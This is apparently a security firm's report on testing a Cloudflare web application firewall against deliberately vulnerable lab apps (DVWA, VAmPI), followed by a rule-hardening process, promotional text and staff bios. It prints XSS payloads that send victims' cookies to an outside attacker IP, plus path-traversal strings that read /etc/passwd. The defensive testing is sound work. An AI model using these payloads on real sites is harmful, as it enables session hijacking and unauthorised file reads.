• OWASP ZAP (Zed Attack Proxy): A powerful tool maintained by OWASP for detecting vulnerabilities in web applications. It played a pivotal role during our Reflected XSS automated fuzzing attack.
• AWS Attack Server: Our AWS instance listening on port 4444, intended to capture redirected cookies from the victim. 

Methodology:

• Endpoint Discovery: Ventured to the /vulnerabilities/xss_r/ endpoint in DVWA.
• Basic XSS Test: Injected a rudimentary script to validate the vulnerability.
• Advanced Payload Injection: Using the information gathered, we crafted a more obfuscated payload “<scr<script>ipt>window.location=’http://52.9.104.74:4444/?cookie=’ + document.cookie</script>” to bypass the site’s defenses. 

Success Criteria: A successful attack would divert the user’s cookie to our AWS server, allowing us to potentially impersonate the user and perform actions on their behalf.

Results:

Attack on Direct Public IP Address:

• Outcome: Successful
• Details: During our Reflected XSS examination on the direct IP, the obfuscated script successfully bypassed the security and redirected the user’s cookie to our AWS server. This exploit is vividly showcased in the “Attack Demo” video.
• Attack Demo: DVWA-ReflectedXSS-ip.mov

Attack on Domain Name with Cloudflare Protection:

• Outcome: Unsuccessful
• Details: Transitioning our attack to the Cloudflare-protected domain with high security proved more challenging. Both our initial and obfuscated scripts were promptly blocked by Cloudflare. Our subsequent attempts, including camouflaging the payload within an img tag, faced similar outcomes, this is highlighted in the “Attack Demo” Delving further into Cloudflare’s defenses, we utilized OWASP ZAP to automate an array of Reflected XSS attacks. The results were intriguing: Cloudflare stonewalled each of the injection attempts from the fuzzing, underscoring its robust defensive posture. This defensive efficiency was on full display in our “Automated Attack Demo” video.
• Attack Demo: DVWA-ReflectedXSS-cloudflare.mov
• Automated Attack Demo: DVWA-ReflectedXSS-cloudflare-automated.mov
• Attempted Automated Payloads: XSSPayloads.txt

8.  Stored Cross-Site Scripting

Description:

Stored XSS, often referred to as persistent XSS, involves an attack wherein the malicious script injected by the attacker is permanently stored on the target server. This stored script then gets executed when the victim accesses a particular function or page, without requiring a victim to click on a crafted link, which differentiates it from reflected XSS. Stored XSS can be especially damaging since the injected script can be triggered by any user visiting the affected page or application.

In our examination of DVWA, our focus zoomed in on the /vulnerabilities/xss_s/ endpoint. Our initial interaction involved entering dummy data into the provided text fields to demonstrate its regular function, which was posting comments on the webpage. A straightforward injection attempt was made using “<script>alert(2)</script>”. While the site’s security mitigated this attempt, it laid the groundwork for a more obfuscated attack.

Tools Used:

• OWASP ZAP (Zed Attack Proxy): Renowned and recommended by OWASP, this tool is paramount for unearthing vulnerabilities in web applications. Here, it was instrumental during our Stored XSS automated fuzzing attack.
• AWS Attack Server: Our AWS instance actively listened on port 4444, poised to intercept and store redirected cookies from victims.

Methodology:

• Endpoint Discovery: Surfaced at the /vulnerabilities/xss_s/ endpoint in DVWA.
• Basic XSS Test: A preliminary script injection was performed to validate the endpoint’s susceptibility.
• Advanced Payload Injection: Using the insights gathered, we crafted a more convoluted payload, “<a onclick=”window.location=’http://52.9.104.74:4444/?cookie=’ + document.cookie” style=display:block>test</a>”, aiming to circumvent the site’s defenses and exfiltrate user cookies.

Success Criteria: A triumphant attack would funnel the user’s cookie to our AWS server, giving us a potential avenue to act on behalf of the unsuspecting user.

 Results:

Attack on Direct Public IP Address:

• Outcome: Successful
• Details: Our Stored XSS expedition on the direct IP culminated in success. The camouflaged script managed to bypass the defenses, allowing the malicious comment to be posted. Any unsuspecting user who interacted with this embedded link had their cookie siphoned off to our AWS server. This exploit is vividly portrayed in the “Attack Demo” video.
• Attack Demo: DVWA-StoredXSS-ip.mov

Attack on Domain Name with Cloudflare Protection:

• Outcome: Unsuccessful
• Details: Channeling our efforts towards the Cloudflare-fortified domain yielded a vastly different experience. Our initial and camouflaged attempts both faced the impervious barrier of Cloudflare’s defenses. Our intent to delve deeper into Cloudflare’s capabilities instigated the use of OWASP ZAP to commence an automatic Stored XSS attack wave. Yet, Cloudflare remained unyielding, effortlessly thwarting both manual and automated intrusion efforts. The unwavering resilience of Cloudflare’s defenses was splendidly showcased in the “Automated Attack Demo” video.
• Attack Demo: DVWA-StoredXSS-cloudflare.mov
• Automated Attack Demo: DVWA-StoredXSS-cloudflare-automated.mov
• Attempted Automated Payloads: XSSPayloads.txt

9.  File Inclusion

Description:

File Inclusion attacks exploit web application vulnerabilities, allowing an attacker to include files on a server through the web browser. This can lead to full server compromise if configured with improper permissions. Two common types of this attack are Local File Inclusion (LFI) and Remote File Inclusion (RFI), where the former includes files that already exist on the server’s file system, and the latter includes remote files. Given the severity of this attack, we decided to evaluate Cloudflare’s fortitude against it.

Tools Used:

• Browser’s URL Bar: Used as the primary method of injecting our payloads and observing web application behavior in response.
• File Paths: Utilized known file paths and their more obfuscated variants to test the system’s security. 

Methodology:

• Endpoint Navigation: Began by visiting the /vulnerabilities/fi/ endpoint.
• URL Manipulation – Low Security: The security settings of the web application were set to “low”. We modified the “page” parameter in the URL, inputting the “../../../../../../etc/passwd” payload in an attempt to read the contents of the “/etc/passwd” file.
• URL Manipulation – High Security: With the security setting changed to “high”, we adopted a different, obfuscated approach by injecting “file:///etc/passwd” as the payload into the URL.

Success Criteria: The benchmark for a victorious File Inclusion attack would be the visualization of the contents of the “/etc/passwd” file in the browser.

Results:

Attack on Direct Public IP Address:

• Outcome: Successful
• Details: On executing the attack against the unprotected domain, we met with success. The web application divulged the contents of the “/etc/passwd” file, underlining a stark vulnerability in the application’s file inclusion mechanism when no protective measures are in place.
• Attack Demo: DVWA-FileInclusion-ip.mov

Attack on Domain Name with Cloudflare Protection:

• Outcome: Unsuccessful
• Details: Turning our attention to the Cloudflare-protected domain, our findings contrasted sharply. Each attempt to carry out the File Inclusion attack was met with resistance, leading to an outright block. This showcases Cloudflare’s robust capability in fending off such incursions, providing a solid layer of security against potential File Inclusion attacks.
• Attack Demo: DVWA-FileInclusion-cloudflare.mov

1.  SQL Injection (SQLi)

Description:

SQL Injection attacks target vulnerabilities in web applications that interact with a database. The attack involves inserting or “injecting” a SQL query via the input data from the client to the application. Successful exploitation can read sensitive data from the database, modify database data, execute administration operations on the database, and in some cases issue commands to the operating system.

Tools Used:

• OWASP ZAP (Zed Attack Proxy): was utilized to test the SQLi vulnerability. This tool is capable of automatically sending thousands of malicious SQL payloads.

Methodology:

• Endpoint Navigation: The SQLi was tested on the VAmPI endpoint /users/v1/admin.
• Automated Attacks: OWASP ZAP was configured to send a variety of SQLi payloads targeting this specific endpoint to explore potential vulnerabilities. 

Success Criteria: The success of the attack is determined by the ability of the payloads to bypass security measures and perform unauthorized actions such as accessing, modifying, or deleting data.

Results:

Attack on Direct Public IP Address:

• Outcome: Successful
• Details: In the non-protected domain, all SQLi attacks executed successfully, indicating significant vulnerabilities in the application.
• Attack Demo: vAmPI-SQLi-ip.mov

Attack on Domain Name with Cloudflare Protection:

• Outcome: Unsuccessful
• Details: When Cloudflare protection was active, almost all payloads were blocked, particularly those not commonly found in normal web traffic. However, payloads mimicking normal traffic could bypass the security measures.
• Attack Demo: vAmPI-SQLi-cloudflare.mov 

2.  Brute Force Login Attack

Description:

A Brute Force attack methodically attempts numerous combinations of usernames and passwords to gain unauthorized access to a system. This type of attack relies on the persistence of trying all possible combinations until a successful credential is found. This attack type is typically thwarted with rate limiting rules which is demonstrated below.

Tools Used:

• OWASP ZAP (Zed Attack Proxy): The tool was set to use wordlists to fuzz the /users/v1/login endpoint until a successful login credential was found.
  • Username wordlist: commonUserNames.txt 
  • Password wordlist: worstPasswords-500.txt 

Methodology:

• Endpoint Navigation: The attack focused on the /users/v1/login endpoint.
• Intercepting Dummy Request: Send some dummy data through the endpoint to capture the request with OWASP ZAP
• Fuzzing Request with ZAP: OWASP ZAP cycled through a comprehensive list of username-password combinations, fuzzing the intercepted request, attempting to identify valid credentials.

Success Criteria: The attack is considered successful if it manages to identify a valid set of login credentials, thereby gaining unauthorized access.

Results:

Attack on Direct Public IP Address:

• Outcome: Successful
• Details: In the non-protected domain, all requests were sent successfully and did not get blocked from rate limiting, indicating significant vulnerabilities in the application. We were able to retrieve the login credentials for the admin.
• Attack Demo: VAmPI-BruteForceLogin-ip.mov

Attack on Domain Name with Cloudflare Protection:

• Outcome: Unsuccessful
• Details: Depending on the aggressiveness of the rate limiting rules, a certain number of requests would be allowed through in a certain period of time before the WAF would step in to block any more requests coming from the suspicious IP address. This effectively stops brute force attacks in their tracks and attackers will need more advanced ways to get around the protection.
• Attack Demo: VamPI-BruteForceLogin-cloudflare.mov

After conducting manual testing against the Cloudflare WAF and CrowdStrike’s Cloud Workload Protection, it was evident that there were still some holes in the defenses. With Cloudflare’s Managed Ruleset we noticed a number of payloads that would not get blocked, so to further investigate this topic we employed a Breach and Attack simulation software, Cymulate. This tool helps with automating thousands of attacks to find vulnerabilities in EDR solutions, WAFs, email securities and much more. For our experiment we will be utilizing Cymulate’s Breach and Attack Assessments for testing the Cloudflare WAF.

Throughout this testing we performed web application firewall hardening through process of iteration. Essentially, we would start with a baseline assessment on our DVWA website (Cymulate’s Best Practice) on a domain that does not have Cloudflare protection to see how vulnerable the website really is. Then we applied Cloudflare’s Managed Ruleset for its WAF, ran another assessment to find out what is blocked and not blocked by Cloudflare’s out-of-the-box rules. With the findings from this assessment, we built a python program that would sift through the attacks that penetrated or were blocked, making, and adding rules to the WAF based on the payloads that penetrated. This process would run three or four times until we managed to develop sufficently robust rules that would block nearly all attacks from the Cymulate assessments. Below is an in-depth description of the process as well as the results from it.

1.  Cymulate’s Best Practice Assessment for WAF – Baseline

Description:

Before diving deep into strengthening our defenses, we started with a simple test. We wanted to see how our DVWA website would hold up without any extra protection, like Cloudflare. This would present as our control for all tests going forward.

Tools Used:

• DVWA: Our main site for the test.
• Cymulate: For simulating breaches and attacks. This tool also gave us a handy CSV after the test to show which attacks made it through.

Methodology:

1. Setup: Initiated DVWA without Cloudflare, leaving it as raw as possible.
2. Run Cymulate Assessment: Fired up Cymulate to throw a bunch of simulated attacks at DVWA.
3. Collect Data: Once Cymulate finished its thing, we grabbed the CSV file it spat out. This file’s crucial because it lists all the attacks and tells us which ones got past our defenses.

Results:
The cold hard truth? Every single attack Cymulate tried got through. It was a wake-up call, showing us the gaps and why adding something like Cloudflare is a no-brainer.

2.  Cymulate’s Best Practice Assessment for WAF – Managed Ruleset

Description:
After our eye-opening baseline test, we wanted to see how our DVWA website would fare with Cloudflare’s managed ruleset in place. The goal here was to understand the out-of-the-box protection Cloudflare offers and identify any gaps.

Tools Used:

• DVWA: Still our main test site.
• Cymulate: Again, our go-to for breach and attack simulations. And of course, we got another CSV at the end of this round to see the attacks’ outcomes. 

Methodology:

1. Activate Cloudflare: This time, we switched on Cloudflare’s managed ruleset for DVWA.
2. Run Cymulate Assessment: With Cloudflare running, we let Cymulate do its thing and simulate a barrage of attacks on DVWA.
3. Collect Data: After Cymulate was done, we got our hands on the new CSV file. This shows the attacks, and most importantly, which ones Cloudflare’s managed ruleset caught, and which ones slipped through.

Results:
With Cloudflare’s managed ruleset on guard, the outcome was different from our baseline test. While many attacks were blocked, some managed to bypass Cloudflare’s defenses. This highlighted the importance of tweaking and optimizing Cloudflare’s settings for our specific needs.

3.  Cymulate’s Best Practice Assessment for WAF – Refined Ruleset

Description:
After the initial tests, we noticed some gaps in Cloudflare’s defense, especially when some of the payloads made it through. We decided to take an automated approach to further enhance . Our goal? Strengthen Cloudflare’s defenses by using a custom Python program, which not only identified but also created and implemented rules based on the penetrating payloads.

Tools Used:

• DVWA: Still our main site for tests.
• Cymulate: Used for simulating attacks and its CSVs helped us identify vulnerabilities.
• Python Program: Developed in-house, this script made our task a lot easier. It analyzed the CSV results, identified the penetrating payloads, then created rules targeting them and finally implemented these rules directly to Cloudflare via its API.

Methodology:

1. Analyze Penetrated Payloads: We started by feeding the CSV from our previous test to our Python script. The script identified the payloads that bypassed Cloudflare’s managed ruleset.
2. Create & Implement Custom Rules with Python: Our program took the lead here, crafting rules tailored to the vulnerabilities it identified. It then utilized Cloudflare’s API to seamlessly integrate these rules into our WAF setup.
3. Re-run Cymulate Assessment: With the new automated defenses in place, we launched Cymulate for another round of tests.
4. Collect and Review Data: As before, we extracted the CSV post-assessment, eager to check the impact of our automated rule implementation.

Results:
With automation on our side, we saw even better results. The custom rules, designed and deployed by our Python script, ensured fewer attacks could penetrate. The DVWA under Cloudflare, now fortified with our automated defenses, was more robust than ever.

Defensive Networks’ Journey in Advancing Web Application Security:

In the rapidly evolving landscape of cyber threats, the integrity of web applications remains a prime concern for businesses worldwide. At Defensive Networks, we have embarked on an ambitious journey to redefine the boundaries of web application security, particularly focusing on the advanced fortification of Web Application Firewalls (WAFs). Our collaboration with cybersecurity leaders Cloudflare and CrowdStrike has been pivotal in this regard.

Our rigorous experimentation, using intentionally vulnerable web applications and APIs, has led to groundbreaking advancements in WAF rule hardening. By methodically testing against both the Cloudflare WAF and CrowdStrike’s Cloud Workload Protection, we exposed and then sealed potential security gaps. Our unique approach – a blend of automated testing, iterative enhancement, and in-depth analysis – has enabled us to create a set of WAF rules that stand near impenetrable.

The results speak for themselves. Through continuous refinement, we have engineered a WAF configuration that robustly defends against a vast array of cyber threats, as evidenced by our success in repelling almost all attacks identified in the comprehensive Cymulate assessments. This achievement is not just a testament to the capabilities we have built at Defensive Networks but is also a beacon of hope for businesses grappling with cyber vulnerabilities.

As we move forward, Defensive Networks is poised to offer this expertise as a service. While we do not currently market WAF rule hardening as a standalone offering, our track record and proven methodology imply a significant value proposition for potential clients, especially those already invested in Cloudflare and CrowdStrike solutions. Our ability to uncover limitations in existing security products and then innovate to transcend those boundaries positions us as a leader in web application security enhancement.

In conclusion, Defensive Networks stands at the forefront of web application defense, turning the most fragile systems into formidable fortresses. Our journey from understanding vulnerabilities to creating nearly unassailable WAF configurations is a testament to our commitment to cybersecurity excellence. We invite businesses to partner with us, leveraging our unique capabilities to ensure their digital assets remain secure in an ever-threatening cyber landscape.

Ben Ferguson

Ben Ferguson is currently the Executive Vice President of Technology at Defensive Networks. While he got his start in his early teenage years as a script kiddy, he’s evolved in his older years to focus on innovation in Cyber Security, Ethical Hacking, Cloud Computing, Wide Area Networks (WAN), and Data Center.

Ben formerly served as CEO of Arcana, a disruptive cyber security startup, bringing never-before-seen solutions to defend Linux/Unix systems from Advanced Persistent Threats (APTs).

Armen Muradian

Armen Muradian is a Sr. Security Engineer at Defensive Networks and previously an alumnus of Arizona State University, where he majored in Computer Science with a concentration in cybersecurity, Armen has dedicated his career to the art of penetration testing and the implementation of robust security solutions.

Armen’s main responsibilities involve conducting comprehensive penetration tests on security solutions and client systems to identify vulnerabilities and suggest improvements. Armen’s technical expertise extends to ethical hacking and Advanced Persistent Threat (APT) simulations.

Derek Lazzaro

Derek Lazzaro leads the cybersecurity consulting team at Defensive Networks, and provides customers with a range of advisory services as an executive IT consultant and vCISO.

Derek was most recently Chief Information Officer and head of Information Governance at Lewis Brisbois, the 7th largest national law firm with 1,600 attorneys. He previously served as CIO and Information Systems Security Manager for a U.S. government sponsored research facility, and Assistant Chief Information Officer for the University of Southern California. While at USC, Derek served on the Executive Cyber Risk Committee.

Derek is also an attorney with extensive experience in privacy, compliance, and vendor/third-party risk management.